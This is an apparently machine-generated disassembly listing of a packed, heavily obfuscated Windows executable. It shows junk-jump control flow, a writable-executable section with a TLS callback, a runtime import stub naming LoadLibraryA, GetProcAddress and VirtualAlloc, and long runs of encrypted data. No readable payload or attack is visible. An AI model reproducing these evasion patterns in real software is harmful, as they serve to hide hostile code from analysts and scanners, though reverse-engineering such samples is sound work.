sub_4275F9 jmp locret_428DA3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429094: ; CODE XREF: hjohnhn9:loc_428368j cmp dword ptr [ebp-8], 0 jnz loc_427A11 ; START OF FUNCTION CHUNK FOR sub_426354 loc_42909E: ; CODE XREF: sub_426354:loc_426E07j ; sub_427A07+4j call sub_426354 loc_4290A3: ; CODE XREF: sub_426523-285j jmp loc_42875B ; END OF FUNCTION CHUNK FOR sub_426354 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263E3 loc_4290A8: ; CODE XREF: sub_4263E3+8E0j push offset sub_427FDD jmp nullsub_108 ; END OF FUNCTION CHUNK FOR sub_4263E3 ; --------------------------------------------------------------------------- ror ebx, 1Bh jmp sub_424361 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425BF2 loc_4290BA: ; CODE XREF: sub_425BF2-A6j ; sub_425BF2:loc_427260j push 0 push 0 push ebp mov ebp, ecx xchg ebp, [esp+0Ch+var_C] call sub_425CB3 loc_4290C9: ; CODE XREF: hjohnhn9:004273ADj jo loc_4281A3 ; END OF FUNCTION CHUNK FOR sub_425BF2 ; =============== S U B R O U T I N E ======================================= sub_4290CF proc near ; CODE XREF: sub_4241F3+Fp ; FUNCTION CHUNK AT 004246A3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426F70 SIZE 0000000D BYTES xchg edx, [esp+0] pop edx jnz loc_426F70 jmp loc_42807E sub_4290CF endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_112. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4244F5 loc_4290DF: ; CODE XREF: hjohnhn9:loc_424922j ; sub_4244F5+54Cj jmp loc_42439F ; END OF FUNCTION CHUNK FOR sub_4244F5 ; --------------------------------------------------------------------------- loc_4290E4: ; CODE XREF: hjohnhn9:0042399Dj jmp locret_42335B ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_87. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- test ecx, esi jmp loc_423604 ; --------------------------------------------------------------------------- loc_4290F1: ; CODE XREF: hjohnhn9:00427845j pop ebx or eax, 0BA9D7AC2h rol eax, 0Dh and eax, 6F6E6B99h jns loc_429089 ; START OF FUNCTION CHUNK FOR sub_42851A loc_429107: ; CODE XREF: sub_42851A-1B2Ej jmp loc_424A07 ; END OF FUNCTION CHUNK FOR sub_42851A ; --------------------------------------------------------------------------- push ecx jmp loc_429083 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427C9B loc_429112: ; CODE XREF: sub_427C9B:loc_42451Cj push offset sub_4275A3 jmp nullsub_97 ; END OF FUNCTION CHUNK FOR sub_427C9B ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_42911C proc near ; CODE XREF: sub_424771+6j retn sub_42911C endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42362A loc_42911D: ; CODE XREF: sub_42362A+10j jmp locret_426FC1 ; END OF FUNCTION CHUNK FOR sub_42362A ; --------------------------------------------------------------------------- dw 890Fh dd 0B8A15B77h, 5E3195A3h, 8EEB8AB8h, 48ECh, 3B3h dup(0) hjohnhn9 ends ; Section 5. (virtual address 0002A000) ; Virtual size : 00009000 ( 36864.) ; Section size in file : 00009000 ( 36864.) ; Offset to raw data for section: 0002A000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute fzj3qwht segment para public 'CODE' use32 assume cs:fzj3qwht ;org 42A000h assume es:nothing, ss:nothing, ds:UPX0, fs:nothing, gs:nothing db 0CCh db 0A0h, 2, 0 align 8 dd 0FFFFFFFFh, 2A03Ch, 2A0B4h, 2A108h, 0 dd 0FFFFFFFFh, 2A0E8h, 2A104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_42A0B4 dd 77E79F93h ; DATA XREF: sub_432992+28r dword_42A0B8 dd 77E805D8h ; DATA XREF: sub_432992+37r dword_42A0BC dd 77E7A5FDh ; DATA XREF: sub_432992+8Er dword_42A0C0 dd 77E75CB5h ; DATA XREF: fzj3qwht:0042FE57r ; fzj3qwht:0043174Cr ... dword_42A0C4 dd 77E7980Ah, 77E79E34h, 2A04Ch, 2A060h, 2A070h, 2A084h ; DATA XREF: sub_432AFD+1Eo dd 2A094h, 2A0A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h dword_42A104 dd 77D6ADD7h ; DATA XREF: fzj3qwht:00430CDAo ; sub_432A49+64r dd 2A0F4h, 0 TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: fzj3qwht:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: fzj3qwht:TlsCallbacks_ptro dd 0 ; =============== S U B R O U T I N E ======================================= sub_42A134 proc near ; CODE XREF: sub_431F5F:loc_4311F0p push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_42A13E: ; CODE XREF: sub_42A134+21j lodsb shr al, 1 cmp al, 74h jnz short loc_42A154 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_42A154: ; CODE XREF: sub_42A134+10j dec ecx jg short loc_42A13E pop ecx pop esi retn sub_42A134 endp ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset dword_422000 dd 200434Ah, 0 dd 47BC0000h, 111D2091h, 0B00A1208h, 41D80008h, 0DFA49ED0h dd 0F41630A3h, 13EB709h, 0C84F4287h, 74138925h, 5D84A3C9h dd 5268E94Ah, 2011F980h, 62020E34h, 15B9A915h, 198C0C1h dd 0BA303B90h, 608A0022h, 152E8584h, 0A7141AC3h, 0E6528B52h dd 6244A64Ch, 0AAC5EA21h, 90356825h, 9112A14h, 0CF50B25Bh dd 402FA6D4h, 28B4EA55h, 0C618A7D3h, 80C01AA9h, 9554AA74h dd 305D24C1h, 66BEF07Eh, 94CB5738h, 0D15B9C00h, 0E45C7D84h dd 82074D8Ah, 2DD29DE6h, 0DF63147Bh, 245CA06Ah, 90203764h dd 1690DDCCh, 76BA516Fh, 0E8764703h, 0CBD20C59h, 5205C3C6h dd 82D4C9DEh, 4804B48h, 1FBAED06h, 8829270Bh, 0CEE1DD0Ah dd 0DB8E1BBDh, 916072B4h, 2244D98Eh, 1DDCh, 0 dd 30000000h, 434A0042h, 6132h, 0 dd 20E078D7h, 4C611F97h, 0A7FE4B9Fh, 65E192C5h, 0D17E9892h dd 9E4C6E17h, 0B7FE0400h, 24F002CFh, 0BA2DC301h, 9D2D9C05h dd 7465D2D8h, 0E98246D1h, 3E985088h, 81AE82DDh, 0FDB1180h dd 0D17F0098h, 5383E085h, 22EDEC6h, 72990B86h, 427930FCh dd 255E8644h, 89D8A1D9h, 9D50A413h, 3FA8742h, 6C37C079h dd 0F8E83175h, 88C0D561h, 703D3EB5h, 0C683EACEh, 0C3F157A8h dd 611126DBh, 4EAB781Fh, 5CB25190h, 0E717F9FDh, 0AFB2DB69h dd 7E5E0387h, 73BB830Eh, 9F710FC2h, 0C125A11Fh, 0A6E6DA2Fh dd 0DC4F97C7h, 0FCBFBF0h, 781CF99Eh, 48127E1Fh, 981F5703h dd 0C28EE474h, 13EF401Ah, 6D676D20h, 94D1E4AEh, 0C2500D49h dd 5C110CC8h, 24EA3F18h, 79E492BFh, 68A4CA62h, 17BADF07h dd 87024B99h, 6BAADA39h, 0C79AFF2Dh, 0F338AFE0h, 8D008B50h dd 979C4D8Eh, 0A297BA22h, 0DDA9ADC9h, 0E2F9158Ch, 0F276BA6h dd 0EA67B824h, 9B593D7Eh, 605EED61h, 0EBB8B82Dh, 42721D10h dd 9E05A363h, 48107EA6h, 0D627F801h, 0DDE4171Ah, 4F015004h dd 8E311E1Dh, 46D121BCh, 0E92D80A3h, 0E5C6A880h, 7E2A07E9h dd 58BC84E1h, 0A0A045E7h, 4EF03EAEh, 7129D7Ah, 6B232D29h dd 0ABEB2D12h, 0DC632117h, 0F50F0841h, 0E885980Dh, 0F4B5A6B9h dd 3D18A697h, 36B45FE5h, 3164606h, 300A3F5h, 9CF0C7DBh dd 7FEE015Fh, 0EE5F0F0Ch, 92565B8Ch, 0CF28B880h, 0F18A227Bh dd 0EC0B3D99h, 7C3F1BACh, 94824607h, 0E278974Bh, 2553CB81h dd 6846796Bh, 80338D99h, 0D2D43B6Eh, 0C5B41C3Ah, 0DDFE4585h dd 0BCD1A003h, 3D7E3D77h, 865FF1B6h, 0A0DCEFADh, 78935ADEh dd 1E39246Ah, 939143C1h, 0D15BD4F0h, 4363BA0Fh, 0EA89D752h dd 0DA2195C9h, 987BEFF4h, 585E034Bh, 98A8F01Bh, 0FD3F1F7Eh dd 0C59A7BB3h, 0D2822436h, 0AA834CA7h, 47701259h, 0C015F3FBh dd 94C30142h, 2D3440Dh, 89004DE0h, 0E86A1591h, 39E5FD00h dd 0C7D58A01h, 5FE5E383h, 0C8876260h, 0BA899D08h, 3DF6F444h dd 0B6393534h, 48754386h, 143B5D46h, 0F851459h, 4515059h dd 524B151h, 0CBFBDEB8h, 0D0131C22h, 0B22E7351h, 930C3CD2h dd 4836D4DEh, 1E2CE558h, 0FF8E7317h, 0BFD7B03Ch, 6FB686B3h dd 47055DF4h, 9262A378h, 21BAFC4Fh, 0EAD0FC6h, 6CA6E1E1h dd 0F7EB3671h, 0A99AF361h, 0C96B6623h, 6DAFD0E2h, 0C22BF9C6h dd 31D99C6h, 0C222B1A1h, 87EBEB6Bh, 0CA551FC3h, 53E8529h dd 0BE89469Ah, 4DEC057Dh, 0D4F30F1Eh, 81992359h, 0B4F548D4h dd 713EC53Eh, 28414528h, 9BCBD4ACh, 60E70B2Fh, 0D718D84Fh dd 0FAE2150Bh, 511151F8h, 2CC460F0h, 210FA294h, 0B5D1FBA2h dd 0A369F0E3h, 0B5D3BCF0h, 7CF1E021h, 0DDF7B0F0h, 4925602Ch dd 7C530A8Bh, 7186E21Ch, 7809250Bh, 258E0FDCh, 0EC38F55Bh dd 406DEA9Fh, 8394EB91h, 221F7B89h, 0A78AF5FEh, 22C03F03h dd 8EE6A90Dh, 0B0E99832h, 0DA47F033h, 0E81A7797h, 9350019Fh dd 6D49CBA3h, 16018031h, 0D81512AAh, 3BA1488Eh, 0E91F882h dd 2C67395Eh, 17AAC21Ah, 3D22783Bh, 0EFB208D9h, 24993083h dd 0A1DFB562h, 6A2FA18Bh, 0A2F9281Fh, 567900Bh, 7DD5D416h dd 0E0BE39B8h, 79AA6540h, 292AB8BFh, 601CF9F4h, 8DC64AA9h dd 82C8674h, 6895A71Dh, 0AD9D8C2Ch, 74728029h, 0EFEEEB35h dd 0D126D147h, 4178F374h, 9CD5AC40h, 2DEF6731h, 4471145Fh dd 0BDA2C98Dh, 6ED6E06Ch, 0DA2D3138h, 0E73F0532h, 0BEE1BD1h dd 0C6E0C072h, 510C0FDBh, 813E0308h, 1A93C9AFh, 0AB61E592h dd 458A4892h, 1A44ED1Dh, 88057AFDh, 0F4B3DEE5h, 824E2C82h dd 11EB5AB0h, 0C918E8B8h, 0D57FBDF5h, 573AAF1Fh, 6CC37ACDh dd 156E4BA5h, 0EDD7014Fh, 3F158BECh, 235EE66h, 63135DFAh dd 540F7041h, 979B36D1h, 0FA3CE5FCh, 0D1EBE44Ch, 7D375D9Ah dd 0CF374410h, 0BEB9068Fh, 0A1526693h, 0DE02F1DFh, 42D399A6h dd 0DE54EA36h, 882525ADh, 9B990FCCh, 0ACE0703Ch, 0B53B1E37h dd 16F018A1h, 0D9109523h, 6CE2C730h, 779520A7h, 26E0DDDCh dd 7D52F24Dh, 0B03CFC45h, 6B4FE679h, 0F124B07Bh, 0D6A5AB8Fh dd 851B6BA5h, 0DA353A42h, 2B2778DEh, 0ACB733A0h, 5FCD39D3h dd 0C6FB4DECh, 4A7405FBh, 0B6C968Dh, 750066F7h, 0DB591F09h dd 0C29AE2A3h, 60B3D25Ah, 3C76305Fh, 0D67F5B74h, 1BBE3BC6h dd 7DA81F9h, 8829086Bh, 0E8887FD5h, 1F12B20Ch, 0A526C36Dh dd 573E79E6h, 0E6EF63C0h, 0FB47447Ah, 0BC99F001h, 7DB73DDh dd 73F83B38h, 0BA8467A2h, 0D123E8D2h, 2C272459h, 6693A555h dd 0DF5E512Fh, 0A50E1F8Fh, 0C45484D2h, 0B606567Fh, 40CAF087h dd 0A4BCD6A8h, 1EBC387Eh, 3303576Eh, 86E6CEDAh, 9AAF158Ah dd 29339187h, 41897A9h, 614950EAh, 0F46221E4h, 0F5AB7C18h dd 5EA81AEAh, 0E50F5458h, 0BF2AC18Dh, 0CB22B351h, 0F080A109h dd 0AB237EE5h, 781F8D77h, 2F2A9917h, 0E0FF6F7Ch, 0DF8185Fh dd 4AF8ABC8h, 4BEA3B69h, 36260359h, 0C2E8540h, 0FF022204h dd 3B52AB3Eh, 0D68FE1F1h, 0A3DD446Ah, 0B5A1ED1Bh, 15396841h dd 45B0AD57h, 0DA70C25h, 0AA828607h, 0D14DD5D9h, 6B4F415Dh dd 9A8E8FE1h, 8A0C0C1Ch, 0F4069CA6h, 39D3846Fh, 76D548E2h dd 73968FD3h, 0CBFDF0D6h, 1F068141h, 8AA6E13Ch, 6B9DC1F3h dd 4554BB2Dh, 0BFA6BD84h, 0E6A27314h, 0A68A7DFAh, 552B4522h dd 0B5AEB814h, 0C0F2895Ah, 0B353C2FEh, 0AF0EEEADh, 0E2FC22Fh dd 75D47F43h, 47A54A6Dh, 945B51B4h, 7DD99F48h, 394DEE34h dd 36CB70DCh, 38685A2Bh, 0A69AB1BCh, 0F170966Fh, 53F0A90Eh dd 7C282D04h, 0DCBE136Dh, 2129700Ah, 0FB326A20h, 111C4BCAh dd 9C3B44Bh, 0E88197E1h, 0CF82842Dh, 66837791h, 0DADD961Dh dd 39331E35h, 0BEA60ABFh, 49F6EAE1h, 8A97AD3Fh, 8B59853Ah dd 3C988268h, 0F3FD1A28h, 0E755E429h, 4C2F72Ah, 4D088A18h dd 0B360297h, 0DDE2E07Bh, 1B0ADDFDh, 0CBD8A637h, 171901DEh dd 0D711A0D3h, 0BFCF4B4Dh, 67AAACBAh, 0C05BD9F8h, 0AB2F279Ah dd 84B64D4Dh, 790E8206h, 773C6279h, 0B76DD526h, 8D25F2B4h dd 62C9080h, 0CBDCAA28h, 0B8017019h, 7A36B8BEh, 5374CD6Eh dd 4D6D75FFh, 6AD057AAh, 0C825DBFAh, 0F28F05EEh, 9E85A0D6h dd 1C33F996h, 0AE0FAA09h, 81EBC2B3h, 9358081Ch, 0FE7EAB13h dd 91D98881h, 0F92FEA82h, 32CA9084h, 74E95C9Dh, 0A37C9E9Fh dd 0D47FA9FFh, 2FE1CADFh, 0BF0B60DEh, 0C02C7C3h, 0C4C17546h dd 0EB791541h, 6E738C03h, 3E506DD6h, 0F6069B41h, 0EF3D3999h dd 0FB85D20Fh, 81EB70A4h, 0D8FA925Eh, 88F2DE95h, 42D1F0F1h dd 6673558Ch, 0F03D053h, 0B3FDA916h, 0DE43E6D7h, 259448AAh dd 5CEE5E07h, 87619842h, 940CBD6h, 0F1738C1Fh, 1BA5343h dd 8173268Ah, 0D551B612h, 0E187849h, 4EC13135h, 85A04FB9h dd 4812A2A3h, 6AA163D2h, 0B65E6FB9h, 0D0FC4C72h, 2AA81098h dd 3E228B89h, 0F9DAEF4Ah, 2A4C39A2h, 0ED4BE39Ch, 1610EF8Eh dd 421F8DB3h, 0C440BF73h, 13C38FE7h, 0DB3318CDh, 59713110h dd 3ECB43F1h, 0F47FE010h, 44FE006Bh, 0D1FCE079h, 0D92CC52Bh dd 0F85F8DA1h, 9ED9A02Ah, 0DCADF5B1h, 0DA32F4B7h, 18DB639Ch dd 0E0F263C7h, 0E817403Bh, 0D0E76774h, 5F643F05h, 8198A824h dd 9F02940Bh, 240C0F01h, 23E90F51h, 0B4FB2971h, 29CF41D5h dd 0B3686F11h, 50E050FAh, 0B46895A5h, 9B7B5C6Bh, 0F4F857CFh dd 0FA2A15B8h, 0C6DCB9A8h dd 318D2E0Ah, 6B119C0h, 0A0477370h, 0A4BAD5B5h, 35CAA222h dd 8186269Ah, 87A10E66h, 5D500937h, 5F6C1407h, 9EB3729Fh dd 39D43F15h, 0C2A083F8h, 34CF2E9Ch, 62891434h, 97EE2CA6h dd 0B16481A8h, 5F990B45h, 8B9F8AA9h, 0BA671DAFh, 3C1E925Fh dd 973589CBh, 7725FE7Bh, 3D443A3Dh, 3EEA8FEh, 7BB415EAh dd 0D04AEE2Bh, 153B41B3h, 0B2FA442Fh, 0BC06BDB9h, 0B43F0983h dd 8B87BF7Ah, 3A241408h, 923693EFh, 81F55E39h, 916CE28Eh dd 25BA9CBDh, 0A1572040h, 0BFEC3CA3h, 0E1EE561Dh, 2D139939h dd 2FE57B02h, 72FD96AFh, 0E5143D2Ah, 399BFC68h, 0C32792Ch dd 7DDE38Bh, 101712FAh, 9A181E2Fh, 97F9DAA0h, 3411FDC5h dd 46688D53h, 6D30F015h, 0E214FACAh, 30BD8099h, 0FB7C2ACAh dd 379F9AE7h, 0F5D052FBh, 0C16B2B45h, 0CB9D0998h, 0C1D09537h dd 53F50846h, 0DD448337h, 7B2ACCBDh, 26DFA976h, 79F16AAh dd 0D35684B6h, 3FC44D0Eh, 0C805777Dh, 1A9E2FBEh, 0E8881671h dd 0BAD62C88h, 64F5495h, 0A3E152A3h, 0DC9AA604h, 0D3B22C18h dd 0F43B3D5Dh, 8B1AC72Bh, 76BF7503h, 9C3B452Eh, 0B8E11B4Dh dd 0DE31941Eh, 2D54C3D5h, 0B81CCFC0h, 2CDE6C92h, 5FEEF896h dd 0F826789Ah, 17C0BAE4h, 950853B8h, 35C1F414h, 3333C30Ah dd 0B285663Eh, 0EB0446D7h, 1D1F5ADDh, 0A2957FD0h, 0C32B5C1Eh dd 145703E2h, 825F7FD0h, 52FF2D37h, 0E6F710FBh, 0F08A2D14h dd 0DA5C4627h, 3B802DAh, 0CCC7802Fh, 0DDDD925Ch, 0CA41E561h dd 0AB6BF5FBh, 0F0C8C802h, 6FB56450h, 0EC9F7E40h, 8237CA03h dd 5E9EC0F6h, 33B4A3B5h, 2B3D68ADh, 0D9FF7AECh, 3C39C7ABh dd 82291958h, 0C65FBC97h, 0CA3C738Bh, 92F2D7A7h, 0C05BE37Ch dd 762C3424h, 34340591h, 2C5AC409h, 0A474FDBDh, 0CA5B980Fh dd 0C09C97C1h, 0E5656F08h, 10A9148Eh, 0F55873E2h, 0DB2E539Ch dd 6236C7AEh, 0CB456ADEh, 0A00B7F73h, 1809C7ACh, 377417A5h dd 0EBA695A0h, 49DC40Ah, 355A51EDh, 1B0E9F26h, 0F0B289CBh dd 84E34E21h, 0F3EDFBB8h, 32F5974Fh, 0B45B08DAh, 27EFC1BCh dd 0D6B45A6Bh, 0ED0E5066h, 9762A30Eh, 625F0E93h, 0D55F5359h dd 80C267C0h, 14FA60Eh, 0FA646BBAh, 0DBE5370Dh, 81B70AD3h dd 0C3A0E1CCh, 0FB381F1Fh, 96FD8958h, 708899F8h, 0EDFB9F29h dd 0B02CFFBDh, 4D9A5DE5h, 0FCE4DDDh, 0A8707911h, 0AABB4CDDh dd 0EF607CFh, 73994661h, 2F1352B5h, 4324ED93h, 0DC4C602Eh dd 626BAE6h, 0B695990Dh, 8E748508h, 9F140D79h, 0BE2C0F4Fh dd 0CF96A75Ah, 0A1F88E24h, 0F013267Fh, 74BD502Ah, 0BDA3ABF0h dd 0E347D612h, 0B17FDAEEh, 7EFB429h, 93E092E3h, 0C78562CDh dd 2D90C492h, 0D5E55590h, 6D773AEDh, 507AE4D6h, 0D0259982h dd 0FE899EF6h, 0E968069Fh, 1DC70BD1h, 79AA9436h, 237C1CA3h dd 2E711400h, 0A0F4150Bh, 4A4B0C4Bh, 51DEDE0Fh, 0A63DC4CAh dd 0E8C101FAh, 29CFB71Eh, 15D5595Ch, 0F8F82793h, 0A285F835h dd 39054B74h, 5FF363B3h, 5DAEAB5Fh, 4FD292B4h, 401D3D29h dd 0C820FCA7h, 0E7BC102Ch, 5D57D852h, 0A51C8197h, 50F13458h dd 987E1BCBh, 2F71E4C3h, 0D7264D86h, 968F4562h, 77E5F303h dd 2F2AA6DFh, 0C9FDD935h, 31BBFD50h, 0CEA154A5h, 676025FEh dd 1FEFCCC3h, 6A0918DBh, 0D919DBA0h, 0DB4AFE8Ah, 31379789h dd 3BF9AD59h, 62D6A182h, 8F3EFEh, 741E7095h, 0DFDA36AFh dd 7A3FBCD8h, 0B2A80165h, 0A928DA7Eh, 0C42FE581h, 0E161365Dh dd 9D129D06h, 0FB2321C0h, 3CD4D19Ch, 0D6E3E48Ah, 69655C1Eh dd 5450087Dh, 51E0DCF6h, 542AC0BBh, 0E28925F2h, 0D6BF2725h dd 62B368C6h, 0CF04AFEFh, 0C56D1206h, 0EDD4DC09h, 8A86F980h dd 89285AC0h, 93E15268h, 0C0FC8A20h, 3284EB3Dh, 5BD15E1Fh dd 0AB31C886h, 894FE113h, 53EC029Fh, 3471CC58h, 0FC0C057Ch dd 0F86E1FDFh, 0AD0FC1F5h, 540C4C47h, 0C63C8707h, 9B17358Dh dd 0B4491700h, 0D9A1AFE0h, 4AEE7FB6h, 88C7AAFDh, 5152EEA3h dd 5FF7986Eh, 978F812h, 1DB54A61h, 6A0C1C35h, 294BB851h dd 4F5D8653h, 8DF96B9h, 0EDF6F26Eh, 0D7B38AD2h, 0D5B2E432h dd 76F8781Eh, 949FDFB1h, 0D7018EA9h, 4B82AF52h, 6C46E952h dd 61F8A97Ch, 982FF97Fh, 4747C86Ah, 0B60073A0h, 0D380A9BDh dd 53C6A9C0h, 0D86CA454h, 6B45C5D2h, 39B47A0Ch, 0F97E873h dd 0F1D250E1h, 0AD114B7Eh, 125F5A51h, 3CC37DBDh, 1F12F98Bh dd 8265A37h, 3BCFCDD1h, 50D0E463h, 0B81A42FFh, 684D8495h dd 0F9F1B53Dh, 151E18EFh, 79DA709Ch, 9246DA1Bh, 1B553C42h dd 0D8BA3E44h, 80B7783h, 23C73993h, 40BEA125h, 0CF5118A5h dd 5150CCD4h, 0AD1E68DCh, 4FCEB6BDh, 0BBCEA896h, 520925E8h dd 0BA72EB57h, 82FC8ECDh, 3895C818h, 4A5A5A64h, 0D0E3363Dh dd 77204039h, 0D9FBB174h, 3303722h, 0E9549D1h, 0E6D8ED4Eh dd 82FE8FB1h, 0C1F54170h, 3D9D4C96h, 8BCB12EBh, 4DA20533h dd 6C66F8D9h, 383E25C9h, 0DBAB3E87h, 0E3336F2Bh, 98BF819Ch dd 4CA9651Ch, 0F93F6255h, 22BD050Fh, 6039EE18h, 7BE6579Fh dd 121EAF42h, 0B3C100B3h, 5E541B95h, 4984EFE7h, 2A189F03h dd 4125FC32h, 6B5839ECh, 0F2DCADCAh, 9C89F385h, 55547A4h dd 0FCF30FE0h, 312ACC24h, 0FF0AF42h, 0A60F8128h, 78F1BAB7h dd 0D7A1C550h, 0B4B45D2Fh, 8D28DD5Bh, 0C383CA14h, 0E11904ADh dd 67F96102h, 0EC242EDFh, 0B78A2581h, 0E0C23ED2h, 0DF03B0CBh dd 76A44A25h, 97C90236h, 0C2E5C1E7h, 0C71E8694h, 262AD444h dd 3ECD4450h, 1C236B7h, 0F9556F24h, 0D9B6C1BBh, 76731B15h dd 19D8F964h, 5678C039h, 7ABE6A92h, 0EBF2769Dh, 4D8DB41Dh dd 7F5B5B47h, 46FFA1C3h, 0A91E7DA5h, 753E463Fh, 83C68982h dd 94E717C7h, 0AFE07C17h, 0CC85BF31h, 0F7E02A75h, 0E14A5AA8h dd 119F097Bh, 9D568CFBh, 0A0ACA0FDh, 6890BA62h, 367FB9C3h dd 5935206Bh, 5D27BABBh, 3B5C1642h, 59C7106Fh, 0E766BD66h dd 0E391AEC8h, 1176502h, 0C5D2E78Bh, 0A6617844h, 33314974h dd 0D8CBFBA5h, 0F37BE8CAh, 4E9C2843h, 5ED18C0Fh, 6E7725C2h dd 0F85692B8h, 0C099E290h, 83DE9FB3h, 81E972A8h, 9D0FA2D8h dd 0D7E9B4D3h, 1A053F5Dh, 0F040655Fh, 1B8C0F3Eh, 5B8989F0h dd 5E01B936h, 88E4F556h, 0FE68362Ah, 9BF5587Ch, 2D55FBF4h dd 0FD407BF6h, 9CC8C357h, 675123C3h, 0E0F8614Fh, 1E4BB48Bh dd 34F9E89h, 68D9C8BDh, 9AFADE07h, 0C7A0D943h, 0AB45F867h dd 0B4D348E0h, 2EF82F76h, 63B38A6Ah, 0E87C6717h, 4DBE5E1h dd 0C4A806DBh, 9725AEDh, 0B0252C0Eh, 9FCD62A8h, 54647Dh dd 0EA42DCD1h, 0DE1AAC6Dh, 6C35BB8Fh, 656A84B1h, 627AE200h dd 2BAFD98Ch, 0B42D71B5h, 0B07E0744h, 0D3D8F1F1h, 38796FFh dd 42C59FCDh, 6F52D022h, 88A2A4ABh, 2D25417Bh, 42FAFC1Ch dd 9FCD9485h, 58712763h, 39ECB474h, 0EA2A37E1h, 0F0B258F8h dd 0FC3C56DDh, 9F8565F0h, 0B2EF7E97h, 821B7B57h, 0C0F03D64h dd 61B8E02Dh, 0DDFCAAD6h, 8BC5EF7Bh, 0CBAF29B6h, 42F03E6Bh dd 2D462AABh, 79DEFB3Ah, 94AA36E1h, 0C395BD83h, 7B1C4CE0h dd 79F1F106h, 82AF68A4h, 0E4B55C77h, 1A5BE7EFh, 9DAAC797h dd 52C90BFCh, 0F04E4615h, 0F9A57C6h, 0E7C65180h, 57B9C807h dd 9D16CF13h, 0D8ACD6F8h, 7A17CC8Bh, 144658A0h, 2A78BAF8h dd 1E36F39Dh, 0EF92E260h, 0D5EE188Fh, 58D7BBC7h, 2AADD431h dd 6BC4C2C2h, 0BD80618Bh dd 578293ADh, 1C06D511h, 62523EFEh, 3770B386h, 6FA3EE8Ah dd 29EFBDACh, 38581DA1h, 326A0591h, 75DA8C9Dh, 0F7DC55A9h dd 27B173D5h, 42F6D5C1h, 0BD02EBE7h, 54970A40h, 0B07C2821h dd 65470BA5h, 7E315802h, 85BACD73h, 6F4BB025h, 0BB5FA2EFh dd 6C30423Bh, 50B430BCh, 14B6A597h, 3052D1F2h, 7C106DCDh dd 0DAD44713h, 0E2A8C4F9h, 0C063A783h, 0A9552BDBh, 7F74F858h dd 0BE96148h, 0C205E91Eh, 3B5B1012h, 2FC7A959h, 57276FAFh dd 940A3E8Bh, 0C5B018EFh, 20AA8834h, 4EA85609h, 0FC0CC4Eh dd 84829224h, 217AF136h, 0E82B6C6h, 0A02BADFh, 7244BBE9h dd 68E5181Eh, 3D9B3BC3h, 0C597F7D5h, 0E8DF2831h, 7F3CAFFEh dd 7E076887h, 0DE576136h, 94E1EBA3h, 9EBFBA8h, 0F412BFFEh dd 0A5DDA5B8h, 4788A528h, 0EC48D694h, 700ED175h, 57A5D487h dd 0E0B25085h, 0F2F11ABAh, 69F7509h, 0BE4B54FDh, 2F8CCE4h dd 0F54236F9h, 0EEAB581Fh, 978BBB03h, 95F0784Bh, 3ADBB8D2h dd 0CD5740CEh, 3B09EB51h, 61BC1CAEh, 19F88FDFh, 8B79DD59h dd 66E073A4h, 87BDFCC2h, 59B7A041h, 85B3E168h, 0D9DCA842h dd 0A7F9C0F2h, 0F3315E7Dh, 0A206A967h, 7B366662h, 0D2ADBDBAh dd 0B3C124D6h, 0C7C64D1Ah, 0A4544BF8h, 76990CC9h, 403E291Dh dd 0A9C79C15h, 0BFB925ADh, 2588059Eh, 289607EDh, 0F4E7FCFCh dd 5FDC7A2h, 0BA2E897Fh, 347F1178h, 0F1AC3273h, 26F32DF3h dd 0F4A36CF8h, 4A0FDDBFh, 20EF35B9h, 60A0BF14h, 0BCB55DF1h dd 6E51C812h, 3EA2521Ah, 0B411A1ABh, 818DF953h, 98547B0Ch dd 0DD61053Ah, 0D849075h, 7865224Ah, 1115A7C0h, 16B56D3h dd 0C654A53Fh, 88968ED6h, 0D75DE42Dh, 0EB70DF2Eh, 555165D7h dd 2274E780h, 2A4AC1C1h, 0E6C7541Bh, 2FB7CAAEh, 0D2D1BC98h dd 47E9F02h, 0D3A4E28Bh, 0C3BBA67Bh, 0BE85150Dh, 0AF8218DDh dd 92D32DC0h, 0BA38F52Ah, 0DD75A25Fh, 7E0CBDFDh, 0F0F7E456h dd 771AE50Eh, 0CE33D8E4h, 0AF96A97Bh, 7AE5CD12h, 70703E82h dd 0F16BCC6Ch, 0BFC3DD12h, 0B5AFC6E4h, 3FDF22B0h, 34F2E11h dd 50703EDCh, 0D05C54B1h, 4E14525Bh, 46FD7AA9h, 0BA5AAAE9h dd 0C93C8625h, 0E7AC6079h, 1DCA3533h, 8CDF07EFh, 0F00A90BFh dd 501C4BCEh, 0DB66A103h, 0AF3A3E38h, 0BF7D7CA4h, 1720ADAAh dd 0DBE8D0F2h, 0EDA7CB3Eh, 2542D1ADh, 0B5029A9Ah, 82C1E696h dd 868607B3h, 